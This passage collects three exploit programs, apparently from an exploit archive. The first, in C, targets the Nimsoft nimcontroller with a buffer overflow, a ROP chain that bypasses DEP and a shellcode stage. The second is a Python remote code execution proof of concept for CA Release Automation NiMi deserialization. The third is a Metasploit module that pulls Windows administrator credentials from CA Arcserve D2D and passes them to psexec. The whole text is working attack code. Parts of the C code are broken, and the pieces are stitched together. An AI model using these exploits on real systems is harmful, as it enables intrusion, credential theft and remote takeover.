} NimsoftProbe;
NimsoftProbe *packet_gen(char *lparams[], int nparams, int exploit_buffer)
{
int index = 0;
int fmt_args;
int lbody = 0;
int largs = 0;
char *tptr;
char pheader[PHLEN];
char pbody[PBLEN];
char pargs[PALEN];
char pbuffer[FPLEN];
char temp_buffer[80];
char *probe = lparams[0];
int epoch_time = (int)time(NULL);
NimsoftProbe *probePtr = (NimsoftProbe*)malloc(sizeof(NimsoftProbe));
fmt_args = snprintf(NULL, 0, "%d%s%d%d%d%s",
(strlen(probe)+1),
probe,
(INTSIZ(epoch_time)+1),
epoch_time,
(strlen(CLIENT)+1),
CLIENT
);
if ((fmt_args + sizeof(packet_body)) > PBLEN) {
printf("Failed to generate packet body\n");
exit(-1);
}
lbody = snprintf(pbody, PBLEN, packet_body,
(strlen(probe)+1),
probe,
(INTSIZ(epoch_time)+1),
epoch_time,
(strlen(CLIENT)+1),
CLIENT
);
for (i = 1; i < nparams; i++)
{
memset(temp_buffer, '\0', 80);
for (j = 0; j < strlen(lparams[i]); j++)
{
if ((c = lparams[i][j]) == '=')
{
memcpy(temp_buffer, lparams[i], j);
index = ++j;
break;
}
}
tptr = lparams[i];
if ((c = 1, c += strlen(temp_buffer)) < PALEN) {
largs += snprintf(pargs+largs, c, "%s", temp_buffer);
largs++;
} else {
printf("Failed to generate packet arguments\n");
exit(-1);
}
if (index > 0 && exploit_buffer == 0)
{
tptr = tptr+index;
if ((largs + strlen(tptr) + 2) < PALEN)
{
largs += snprintf(pargs+largs, 2, "%s", "1");
largs++;
largs += snprintf(pargs+largs, strlen(tptr)+1, "%d", strlen(tptr)+1);
largs++;
} else {
printf("Failed to generate packet arguments\n");
exit(-1);
}
c = 1, c += strlen(tptr);
if ((largs + c) < PALEN)
{
largs += snprintf(pargs+largs, c, "%s", tptr);
largs++;
} else {
printf("Failed to generate packet arguments\n");
exit(-1);
}
}
if (index > 0 && exploit_buffer > 0)
{
tptr = tptr+index;
if ((largs + exploit_buffer + 2) < PALEN)
{
largs += snprintf(pargs+largs, 2, "%s", "1");
largs++;
largs += snprintf(pargs+largs, 5, %d", exploit_buffer+1);
largs++;
} else {
printf("Failed to generate packet arguments\n");
exit(-1);
}
c = 1, c += exploit_buffer;
if ((largs + c) < PALEN)
{
memcpy(pargs+largs, tptr, c);
largs += exploit_buffer;
largs++;
} else {
printf("Failed to generate packet arguments\n");
exit(-1);
}
}
}
index = snprintf(pbuffer, FPLEN, packet_header, lbody, largs);
index += lbody;
if (index < FPLEN) {
strncat(pbuffer, pbody, lbody);
} else {
printf("Failed to concatenate packet body\n");
exit(-1);
}
for (i = 0; i < index; i++)
if (pbuffer[i] == '\x0f')
pbuffer[i] = '\x00';
if ((index + largs) < FPLEN) {
for (i = 0; i < largs; i++)
pbuffer[index++] = pargs[i];
}
else {
printf "Failed to concatenate packet arguments\n");
exit(-1);
}
probePtr->packet = pbuffer;
probePtr->length = index;
return probePtr;
}
/*********************************************************************************************************************
* *
* int parse_directory(char *response, int length): *
* *
* This function will parse the directory contents, specifically looking for the entry keyword; if found, we can *
* proceed with exploitation. *
* *
* int check_vulnerability(char *rhost, int rport): *
* *
* This function will send a Nimbus probe to the target controller, specifically the directory_list probe. Once *
* sent the returned packet will be parsed by parse_directory. *
* *
*********************************************************************************************************************/
#define PE "(\033[1m\033[31m-\033[0m)"
#define PI "(\033[1m\033[94m*\033[0m)"
#define PG "(\033[1m\033[92m+\033[0m)"
int parse_directory(char *response, int length)
{
int i;
int backup;
int check = 0;
int index = 0;
char buf[80];
struct tm ts;
time_t capture;
if (strncmp(response, "nimbus/1.0", 10) != 0)
return -1;
while (index < length)
{
if (strcmp("entry", (response+index)) == 0)
printf("%s Persistence is an art\n\n", PG);
if (strcmp("name", (response+index)) == 0) {
backup = index;
check = 1;
/* last modified */
for (int i = 0; i < 15; i++)
index += strlen(response+index) + 1;
capture = atoi(response+index);
ts = *localtime(&capture);
strftime(buf, sizeof(buf), "%m/%d/%Y %I:%M %p", &ts);
printf("%12s ", buf);
index = backup;
/* type */
for (int i = 0; i < 7; i++)
index += strlen(response+index) + 1;
if (strcmp("2", (response+index)) == 0)
printf("%7s", " ");
else
printf("%-7s", "<DIR>");
index = backup;
/* name */
for (int i = 0; i < 3; i++)
index += strlen(response+index) + 1;
printf("%s\n", response+index);
}
index += strlen(response+index) + 1;
}
return (check != 1) ? -1 : 0;
}
int check_vulnerability(char *rhost, int rport)
{
int c;
int sock;
int count;
NimsoftProbe *probe;
char response[BUFSIZ];
struct sockaddr_in srv;
char *get_directory_listing[] = { "directory_list", "directory=C:\\", "detail=1" };
probe = packet_gen(get_directory_listing, 3, 0);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
return -1;
srv.sin_addr.s_addr = inet_addr(rhost);
srv.sin_port = htons(rport);
srv.sin_family = AF_INET;
if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0)
return -1;
printf("%s Verifying vulnerable probe is reachable\n", PI);
send(sock, probe->packet, probe->length, 0);
count = read(sock, response, BUFSIZ);
if (parse_directory(response, count) == 0)
printf("\n%s Target ready for exploitation\n", PG);
else
return -1;
free(probe);
close(sock);
return 0;
}
/********************************************************************************************************************
* *
* char *nimdex(char *haystack, char *needle, int size): *
* *
* This function works similar to strstr, however it was specifically made to index "keys" to their respective *
* "values" within a Nimbus packet. It has only been tested against the get_info packet. *
* *
* int parse_response(char *response, int length): *
* *
* This function leverages nimdex to perform 2 checks. The first check will verify the target operating system *
* has been exploited, the second check will verify the Nimbus controller version is exploitable (or rather has *
* a ROP chain ready). In order for exploitation to succeed only the second check needs to pass, I have faith in *
* my ROP chain being universal. *
* *
* int check_version(char *rhost, int rport): *
* *
* This function will send a Nimbus probe to the target controller, specifically the get_info probe. Once sent *
* the returned packet will be parsed by parse_response. *
* *
********************************************************************************************************************/
char *nimdex(char *haystack, char *needle, int size)
{
int found = 0;
int index = 0;
if (strncmp(haystack, "nimbus/1.0", 10) != 0)
return NULL;
while (index < size)
{
if (strcmp(needle, (haystack+index)) == 0)
found = 2;
else if (found >= 2)
found++;
if (found == 5)
return &haystack[index];
index += strlen(haystack+index) + 1;
}
return NULL;
}
int parse_response(char *response, int length)
{
int i;
int c;
char *ptr;
int check = 0;
int nv = sizeof(versions)/sizeof(versions[0]);
int ne = sizeof(exploited)/sizeof(exploited[0]);
if ((ptr = nimdex(response, "os_minor", length)) == NULL)
return -1;
printf("%s Probe successful, detected: %s\n", PI, ptr);
if ((ptr = nimdex(response, "os_version", length)) == NULL)
return -1;
for (i = 0; i < ne; i++)
if ((strcmp(exploited[i], ptr)) == 0)
check = 1;
if (check != 1)
{
printf("%s Exploit has not been tested against OS version\n", PE);
printf("%s Continute exploitation (Y/N): ", PE);
c = getchar();
if (tolower(c) != 'y')
exit(-1);
printf("%s If exploitation successful, update code!!!\n", PI);
if ((ptr = nimdex(response, "os_version", length)) == NULL)
return -1;
printf("%s Target OS ID: %s\n", PI, ptr);
}
else
printf("%s Target OS appears to be exploitable\n", PI);
check = 0;
if ((ptr = nimdex(response, "version", length)) == NULL)
return -1;
for (i = 0; i < nv; i++)
if ((strcmp(versions[i], ptr)) == 0)
check = 1;
if (check != 1) {
printf("%s Exploit has not been tested against target build\n", PE);
exit(-1);
} else
printf("%s Nimbus build appears to be exploitable\n", PI);
return 0;
}
int check_version(char *rhost, int rport)
{
int c;
int sock;
int count;
NimsoftProbe *probe;
char response[BUFSIZ];
struct sockaddr_in srv;
char *get_operating_sys[] = { "get_info", "interfaces=0" };
probe = packet_gen(get_operating_sys, 2, 0);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
return -1;
srv.sin_addr.s_addr = inet_addr(rhost);
srv.sin_port = htons(rport);
srv.sin_family = AF_INET;
if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0)
return -1;
printf("%s Sending get_info probe to %s:%d\n", PI, rhost, rport);
send(sock, probe->packet, probe->length, 0);
count = read(sock, response, BUFSIZ);
if ((parse_response(response, count) != 0)) {
printf("%s Probe failed, unable to parse packet\n", PE);
exit(-1);
}
free(probe);
close(sock);
return 0;
}
/*****************************************************************************************************************
* This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes otherwise our call will fail. *
* I had VP work 50% of the time when the stack was unaligned. *
*****************************************************************************************************************/
int64_t rsp_alignment_rop_gadgets[] = {
[0 ... 19] = 0x0000000140018c42, // ret (20 ROP NOPS)
0x0000000140002ef6, // pop rax ; ret
0x00000001401a3000, // *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
0x00000001400af237, // pop rdi ; ret
0x0000000000000007, // alignment for rsp
0x0000000140025dab, // add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret
};
/*****************************************************************************************************************
* This chain will craft function calls to GetModuleHandleA, GetProcAddressStub, and finally VirtualProtectStub. *
* Once completed, we have bypassed DEP and can get code execution. Since VirtualProtectStub is auto generated, *
* we needn't worry about other Windows OS's. *
*****************************************************************************************************************/
int64_t dep_bypass_rop_gadgets[] = {
// RAX -> HMODULE GetModuleHandleA(
// ( RCX == *module ) LPCSTR lpModuleName,
// );
[0 ... 14] = 0x0000000140018c42, // ret (15 ROP NOPS)
0x0000000140002ef6, // pop rax ; ret
0x0000000000000000, // (zero out rax)
0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
[24 ... 33] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x0000000140131643, // pop rcx ; ret
0x00000000000009dd, // offset to "kernel32.dll"
0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret
[37 ... 51] = 0x0000000140018c42, // ret (15 ROP NOPS)
0x00000001400b741b, // xchg eax, ecx ; ret
0x0000000140002ef6, // pop rax ; ret
0x000000014015e310, // GetModuleHandleA (0x00000000014015E330-20)
0x00000001400d1161, // call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
[56 ... 72] = 0x0000000140018c42, // ret (17 ROP NOPS)
// RAX -> FARPROC GetProcAddressStub(
// ( RCX == &addr ) HMODULE hModule,
// ( RDX == *module ) lpProcName
// );
0x0000000140111c09, // xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule)
0x0000000140002ef6, // pop rax ; ret
0x0000000000000000, // (zero out rax)
0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
[83 ... 92] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x0000000140131643, // pop rcx ; ret
0x0000000000000812, // offset to "virtualprotectstub"
0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret
[96 ... 110] = 0x0000000140018c42, // ret (15 ROP NOPS)
0x0000000140135e39, // mov edx,eax ; mov rbx,qword [rsp+0x30] ; mov rbp,qword [rsp+0x38] ; mov rsi,qword [rsp+0x40] ; mov rdi,qword [rsp+0x48] ; mov eax,edx ; add rsp,0x20 ; pop r12; ret
[112 ... 121] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x00000001400d1ab8, // mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret
[123 ... 132] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x0000000140111ca1, // xchg rax, r13 ; or al, 0x00 ; ret
0x00000001400cf3d5, // mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
[138 ... 143] = 0x0000000140018c42, // ret
0x0000000140002ef6, // pop rax ; ret
0x000000014015e318, // GetProcAddressStub (0x00000000014015e338-20)
0x00000001400d1161, // call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
[147 ... 163] = 0x0000000140018c42, // ret (17 ROP NOPS)
// RAX -> BOOL VirtualProtectStub(
// ( RCX == *shellcode ) LPVOID lpAddress,
// ( RDX == len(shellcode) ) SIZE_T dwSize,
// ( R8 == 0x0000000000000040 ) DWORD flNewProtect,
// ( R9 == *writeable location ) PDWORD lpflOldProtect,
// );
0x0000000140111c09, // xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub)
0x000000014013d651, // pop r12 ; ret
0x00000001401fb000, // *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
0x00000001400eba74, // or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret
[168 ... 177] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x0000000140002ef6, // pop rax ; ret
0x0000000000000000, //
0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
[187 ... 196] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x0000000140131643, // pop rcx ; ret
0x000000000000059f, // (offset to *shellcode)
0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret
[200 ... 214] = 0x0000000140018c42, // ret (15 ROP NOPS)
0x00000001400b741b, // xchg eax, ecx ; ret
0x00000001400496a2, // pop rdx ; ret
0x00000000000005dc, // dwSize
0x00000001400bc39c, // pop r8 ; ret
0x0000000000000040, // flNewProtect
0x00000001400c5f8a, // mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub)
[221 ... 237] = 0x0000000140018c42, // ret (17 ROP NOPS)
0x00000001400a0b55, // call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h] ; mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret
[239 ... 258] = 0x0000000140018c42, // ret (20 ROP NOPS)
0x0000000140002ef6, // pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE)
0x0000000000000000, // (zero out rax)
0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
[268 ... 277] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x0000000140131643, // pop rcx ; ret
0x0000000000000317, // (offset to our shellcode)
0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret
[281 ... 295] = 0x0000000140018c42, // ret (15 ROP NOPS)
0x00000001400a9747, // jmp rax
[297 ... 316] = 0x0000000140018c42, // ret (do not remove)
};
/********************************************************************************************************************
* *
* int generate_rop_chain(unsigned char *buffer, int gadgets, int64_t rop_gadgets[]): *
* *
* This function will generate a rop chain and store it in the buffer passed as the first argument. The return *
* value will contain the final ROP chain size. *
* *
********************************************************************************************************************/
#define RSP_ROP (sizeof(rsp_alignment_rop_gadgets)/sizeof(int64_t))
#define DEP_ROP (sizeof(dep_bypass_rop_gadgets) / sizeof(int64_t))
int generate_rop_chain(unsigned char *buffer, int gadgets, int64_t rop_gadgets[])
{
int i, j, k;
int chain_size = 0;
for (i = 0; i < gadgets; i++)
for (j = 0, k = 0; j < sizeof(rop_gadgets[i]); j++)
{
*buffer++ = ((rop_gadgets[i]>>k)&0xff);
chain_size++;
k += 8;
}
return chain_size;
}
#define MAX_EXPLOIT_BUFFER 9000
unsigned char *generate_exploit_buffer(unsigned char *buffer)
{
int r1, r2, c;
char rop_chain[20000];
unsigned char *heapflip = "\x3d\xfd\x06\x40\x01\x00\x00\x00";
memset(buffer , 0x41, 1000); // Offset
memset(buffer+1000, 0x0F, 33);
memcpy(buffer+1033, heapflip, 8); // HeapFlip - pop rsp ; or al, 0x00 ; add rsp, 0x0000000000000448 ; ret
memset(buffer+1041, 0x41, 7); // Adjustment for the initial chain
/* generate the first rop chain to perform stack alignment */
r1 = generate_rop_chain(rop_chain, RSP_ROP, rsp_alignment_rop_gadgets);
memcpy(buffer+1048, rop_chain, r1);
c = r1 + 1048;
/* adjust for second stage */
memset(buffer+c, 0x57, 631);
c += 631;
/* generate the second rop chain to perform DEP bypass */
r2 = generate_rop_chain(rop_chain, DEP_ROP, dep_bypass_rop_gadgets);
memcpy(buffer+c, rop_chain, r2);
c += r2;
/* ROP CHAIN MUST BE 3500 BYTES OR EXPLOITATION WILL FAIL */
memset(buffer+c, 0x45, (3500 - (r1 + r2 + 631)));
c += (3500 - (r1 + r2 + 631));
memcpy(buffer+c, "kernel32.dll\x00", 13);
c += 13;
memcpy(buffer+c, "VirtualProtect\x00", 15);
c += 15;
/* NOPS */
memset(buffer+c, 0x90, 500);
c += 500;
/* shellcode */
memcpy(buffer+c, shellcode, (sizeof(shellcode)-1));
c += (sizeof(shellcode)-1);
/* filler */
memset(buffer+c, 0x10, (8000 - c));
return buffer;
}
#define MAX_ARGUMENTS 5
void help()
{
printf("usage: ./singAboutMeImDyingOfThirst [-h] [-t TARGET] [-p PORT] [ARG=VAL]\n\n");
printf("Sing About Me Im Dying Of Thirst - A nimcontroller's worst nightmare\n\n");
printf("optional arguments:\n");
printf(" -h, --help show this help message and exit\n");
printf(" -t TARGET, --target TARGET target host to probe\n");
printf(" -p PORT, --port PORT nimcontroller port\n\n");
printf("examples:\n");
printf(" ./singAboutMeImDyingOfThirst -t 192.168.88.130 -p 48000\n");
exit(0);
}
int main(int argc, char **argv)
{
int c;
int sock;
int rport;
NimsoftProbe *probe;
struct sockaddr_in srv;
char *rhost, *port;
char *params[MAX_ARGUMENTS];
unsigned char *exploit_buff;
unsigned char buffer[MAX_EXPLOIT_BUFFER];
unsigned char final_buffer[MAX_EXPLOIT_BUFFER] = "directory=";
char *exploit[] = { "directory_list", final_buffer };
while (1)
{
static struct option long_options[] =
{
{"help", no_argument, 0, 'h'},
{"target", required_argument, 0, 't'},
{"port", required_argument, 0, 'p'},
{0, 0, 0}
};
int option_index = 0;
c = getopt_long (argc, argv, "ht:p:", long_options, &option_index);
if (c == -1)
break;
switch(c)
{
case 't':
rhost = optarg;
break;
case 'p':
port = optarg;
break;
case 'h':
default:
help();
break;
}
}
if (argc < 5)
help();
rport = atoi(port);
if (check_version(rhost, rport) != 0) {
printf("%s Failed to connect to target host\n", PE);
exit(-1);
}
if (check_vulnerability(rhost, rport) != 0) {
printf("%s Target failed vulnerability tests\n", PE);
exit(-1);
}
printf("%s Generating evil nimbus probe, we're watching\n", PI);
exploit_buff = generate_exploit_buffer(buffer);
memcpy(final_buffer+10, exploit_buff, 8000);
probe = packet_gen(exploit, 2, 8000);
printf("%s Sending evil buffer, R.I.P RIP - wetw0rk\n", PG);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
return -1;
srv.sin_addr.s_addr = inet_addr(rhost);
srv.sin_port = htons(rport);
srv.sin_family = AF_INET;
if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0)
return -1;
send(sock, probe->packet, probe->length, 0);
free(probe);
close(sock);
}
# Exploit Title: CA Release Automation NiMi 6.5 - Remote Command Execution
# Date: 2016-06-23
# Exploit Authors: Jakub Palaczynski, Maciej Grabiec
# Vendor Homepage: http://www.ca.com/
# Software Link: https://docops.ca.com/ca-release-automation/5-5-2/en/installation/deploy-agents/
# Version: CA Release Automation (NiMi) 5.X, 6.3, 6.4, 6.5
# CVE: CVE-2018-15691
# Info: CA Release Automation (NiMi) Remote Command Execution via Deserialization
# Info: Payloads generated using CommonsCollections1 from ysoserial work correctly.
# Info: Proof of Concept exploits NiMi service if security is turned off.
#!/usr/bin/python
import socket
import sys
import struct
if len(sys.argv) < 4:
sys.stderr.write("[-]Usage: python %s <ip> <port> <payload_file> <target_nodeid - not mandatory>\n" % sys.argv[0])
sys.stderr.write("[-]Exemple: python %s 10.0.0.1 6600 /tmp/payload.bin\n" % sys.argv[0])
exit(1)
host = sys.argv[1]
port = sys.argv[2]
file = sys.argv[3]
# check if payload does not exceed specified value
payloadObj = open(file,'rb').read()
if len(payloadObj) > 5729:
print 'Payload must be less than 5730 bytes. Try another one.'
exit(1)
# open socket to nimi port
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting to node.'
sock.connect((host, int(port)))
# say hello to nimi
sock.recv(256)
sock.send('\x00\x00\x00\x0c\x0a\x04\x6e\x6f\x64\x65\x10\x0a\x72\x02\x08\x00') # first required message
# get Node ID
data = sock.recv(256)
name = data[5] + data[6:6+ord(data[5])]
if len(sys.argv) == 5:
name = struct.pack(">B", len(sys.argv[4])) + sys.argv[4]
# check if security is enabled
sock.send('\x00\x00\x00\x1a\x0a\x04\x6e\x6f\x64\x65\x10\x0a\x7a\x10\x0a\x0c\x0a\x07\x30\x2e\x30\x2e\x30\x2e\x30\x10\x94\x3c\x10\x00') # second required message
check = sock.recv(256)
if check == "":
print 'Security is enabled. Sorry.'
exit(1)
# send payload
print 'Sending payload.'
header = '\x0a\x04\x6e\x6f\x64\x65\x10\x01\x1a' + name + '\x2a\xe4\x2c\x0a\xe1\x2c'
stage = header + payloadObj + '\x90' * (5729-len(payloadObj))
payload = struct.pack(">I", len(stage)) + stage
sock.sendall(payload)
sock.close()
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'CA Arcserve D2D GWT RPC Credential Information Disclosure',
'Description' => %q{
This module exploits an information disclosure vulnerability in the CA Arcserve
D2D r15 web server. The information disclosure can be triggered by sending a
specially crafted RPC request to the homepage servlet. This causes CA Arcserve to
disclosure the username and password in cleartext used for authentication. This
username and password pair are Windows credentials with Administrator access.
},
'Author' =>
[
'bannedit', # metasploit module
'rgod', # original public exploit
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2011-3011' ],
[ 'OSVDB', '74162' ],
[ 'EDB', '17574' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Privileged' => true,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0d\x0a"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DisclosureDate' => 'Jul 25 2011',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8014),
], self.class )
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
post_reference_name: self.refname,
private_data: opts[:password],
origin_type: :service,
private_type: :password,
username: opts[:user]
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: opts[:status],
last_attempted_at: DateTime.now
}.merge(service_data)
create_credential_login(login_data)
end
def exploit
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
data = "5|0|4|"
data << "http://#{datastore['RHOST']}:#{datastore['RPORT']}"
data << "/contents/"
data << "|2C6B33BED38F825C48AE73C093241510|"
data << "com.ca.arcflash.ui.client.homepage.HomepageService"
data << "|getLocalHost|1|2|3|4|0|"
cookie = "donotshowgettingstarted=%7B%22state%22%3Atrue%7D"
res = send_request_raw({
'uri' => '/contents/service/homepage',
'version' => '1.1',
'method' => 'POST',
'cookie' => cookie,
'data' => data,
'headers' =>
{
'Content-Type' => "text/x-gwt-rpc; charset=utf-8",
'Content-Length' => data.length
}
}, 5)
if not res
fail_with(Failure::NotFound, 'The server did not respond to our request')
end
resp = res.to_s.split(',')
user_index = resp.index("\"user\"")
pass_index = resp.index("\"password\"")
if user_index.nil? and pass_index.nil?
# Not a vulnerable server (blank user/pass doesn't help us)
fail_with(Failure::NotFound, 'The server did not return credentials')
end
user = resp[user_index+1].gsub(/\"/, "")
pass = ""
if pass_index
pass = resp[pass_index+1].gsub(/\"/, "")
end
srvc = {
:host => datastore['RHOST'],
:port => datastore['RPORT'],
:proto => 'tcp',
:name => 'http',
:info => res.headers['Server'] || ""
}
report_service(srvc)
if user.nil? or pass.nil?
print_error("Failed to collect the username and password")
return
end
print_good("Collected credentials User: '#{user}' Password: '#{pass}'")
# try psexec on the remote host
psexec = framework.exploits.create("windows/smb/psexec")
psexec.register_parent(self)
psexec.datastore['PAYLOAD'] = self.datastore['PAYLOAD']
if self.datastore['LHOST'] and self.datastore['LPORT']
psexec.datastore['LHOST'] = self.datastore['LHOST']
psexec.datastore['LPORT'] = self.datastore['LPORT']
end
psexec.datastore['RHOST'] = self.datastore['RHOST']
psexec.datastore['DisablePayloadHandler'] = true
psexec.datastore['SMBPass'] = pass
psexec.datastore['SMBUser'] = user
print_status("Attempting to login via windows/smb/psexec")
# this is kind of nasty would be better to split psexec code out to a mixin (on the TODO List)
begin
psexec.exploit_simple(
'LocalInput' => self.user_input,
'LocalOutput' => self.user_output,
'Payload' => psexec.datastore['PAYLOAD'],
'RunAsJob' => true
)
rescue
report_cred(
ip: datastore['RHOST'],
port: 445,
service_name: 'smb',
user: user,
password: pass,
status: Metasploit::Model::Login::Status::INCORRECT
)
print_status("Login attempt using windows/smb/psexec failed")
print_status("Credentials have been stored and may be useful for authentication against other services.")
# report the auth
return
end
# report the auth
report_cred(
ip: datastore['RHOST'],
port: 445,
service_name: 'smb',
user: user,
password: pass,
status: Metasploit::Model::Login::Status::SUCCESSFUL
)
handler
end
end